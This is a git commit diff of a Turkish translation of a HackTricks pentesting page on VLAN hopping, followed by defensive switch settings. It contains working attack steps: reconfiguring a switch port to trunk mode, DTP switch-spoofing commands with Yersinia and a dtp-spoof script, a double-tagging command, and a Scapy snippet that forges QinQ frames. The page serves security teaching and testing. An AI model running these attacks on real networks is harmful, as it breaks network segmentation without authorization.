mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
b99bca2bb8
commit
62542e06da
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Eğer bir anahtara doğrudan erişim mevcutsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve senaryoya bağlı olarak IP adreslerinin dinamik (DHCP) veya statik olarak ayarlanmasını içerir (**daha fazla bilgi için kontrol edin [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Eğer bir anahtara doğrudan erişim mevcutsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve IP adreslerinin, senaryoya bağlı olarak dinamik (DHCP) veya statik olarak ayarlanmasını içerir (**daha fazla detay için kontrol edin [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya portu **include** maskesi ile arayarak gerçekleştirilebilir.
|
||||
Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya **include** maskesi ile portu arayarak gerçekleştirilebilir.
|
||||
|
||||
**Eğer CDP çalışmıyorsa, port tanımlaması MAC adresini arayarak yapılabilir**:
|
||||
**Eğer CDP çalışmıyorsa, port tanımlaması MAC adresini arayarak yapılmaya çalışılabilir**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanarak trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir.
|
||||
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanır ve trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -44,12 +44,80 @@ Bir arayüzde (VLAN 10) statik bir IP adresi manuel olarak ayarlamak için örne
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Bağlantı, VLAN'lar 10, 20, 50 ve 60 için varsayılan ağ geçitlerine ICMP istekleri başlatarak test edilir.
|
||||
Bağlantı, VLAN'lar 10, 20, 50 ve 60 için varsayılan geçitlere ICMP istekleri başlatarak test edilir.
|
||||
|
||||
Sonuç olarak, bu süreç VLAN segmentasyonunun aşılmasını sağlar, böylece herhangi bir VLAN ağına sınırsız erişim sağlanır ve sonraki eylemler için zemin hazırlanır.
|
||||
Sonuç olarak, bu süreç VLAN segmentasyonunu aşmayı sağlar, böylece herhangi bir VLAN ağına sınırsız erişim sağlanır ve sonraki eylemler için zemin hazırlanır.
|
||||
|
||||
---
|
||||
|
||||
## Diğer VLAN-Hopping Teknikleri (yetkili switch CLI olmadan)
|
||||
|
||||
Önceki yöntem, switch'e kimlik doğrulamalı konsol veya Telnet/SSH erişimi olduğunu varsayar. Gerçek dünya etkileşimlerinde, saldırgan genellikle **normal erişim portuna** bağlıdır. Aşağıdaki Layer-2 hileleri, switch OS'ye hiç giriş yapmadan yanlamasına geçiş yapmanıza genellikle izin verir:
|
||||
|
||||
### 1. Dinamik Trunking Protokolü (DTP) ile Switch-Spoofing
|
||||
|
||||
DTP'yi etkin tutan Cisco switch'leri, eşin bir switch olduğunu iddia etmesi durumunda bir trunk'ı memnuniyetle müzakere eder. Tek bir **DTP “desirable”** veya **“trunk”** çerçevesi oluşturmak, erişim portunu *tüm* izin verilen VLAN'ları taşıyan 802.1Q trunk'a dönüştürür.
|
||||
|
||||
*Yersinia* ve birkaç PoC süreci otomatikleştirir:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Bir kez port trunk moduna geçtiğinde, 802.1Q alt arayüzleri oluşturabilir ve önceki bölümde gösterildiği gibi tam olarak pivot yapabilirsiniz. Modern Linux çekirdekleri artık *vconfig* gerektirmiyor; bunun yerine *ip link* kullanın:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Native-VLAN Abuse)
|
||||
|
||||
Eğer saldırgan **native (etiketsiz) VLAN** üzerinde oturuyorsa, *iki* 802.1Q başlığına sahip bir çerçeve, port erişim modunda kilitli olsa bile ikinci bir VLAN'a "atlayabilir". **VLANPWN DoubleTagging.py** (2022-2024 güncellemesi) gibi araçlar enjeksiyonu otomatikleştirir:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Paket geçişi:
|
||||
1. Dış etiket (1), yerel VLAN ile eşleştiği için ilk anahtar tarafından çıkarılır.
|
||||
2. İç etiket (20) artık açığa çıktı; çerçeve VLAN 20'ye doğru trunk üzerinden iletilir.
|
||||
|
||||
Bu teknik, 2025 yılında yerel VLAN'ı varsayılan olarak bırakan ve etiketlenmemiş çerçeveleri kabul eden ağlarda hala çalışmaktadır.
|
||||
|
||||
### 3. QinQ (802.1ad) Yığma
|
||||
|
||||
Birçok kurumsal çekirdek, *Q-in-Q* hizmet sağlayıcı kapsüllemesini destekler. İzin verildiğinde, bir saldırgan, güvenlik bölgelerini aşmak için bir sağlayıcı (S-etiket) içinde rastgele 802.1Q etiketli trafiği tünelleme yapabilir. 802.1ad etiket türü 0x88a8 için yakalama yapın ve dış etiketi Scapy ile çıkarmayı deneyin:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## Savunma Önerileri
|
||||
|
||||
1. Tüm kullanıcıya açık portlarda DTP'yi devre dışı bırakın: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Her trunk'taki yerel VLAN'ı **kullanılmayan, kara delik VLAN'ı** olarak değiştirin ve etiketleyin: `vlan dot1q tag native`.
|
||||
3. Trunk'larda gereksiz VLAN'ları budayın: `switchport trunk allowed vlan 10,20`.
|
||||
4. Kaçak Layer-2 etkinliğini sınırlamak için port güvenliğini, DHCP snooping ve dinamik ARP denetimini zorunlu kılın.
|
||||
5. Sadece 802.1Q ayrımına güvenmek yerine özel VLAN'ları veya L3 segmentasyonunu tercih edin.
|
||||
|
||||
---
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN saldırı aracı seti – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "VLAN Hopping Nedir?" (Ağustos 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user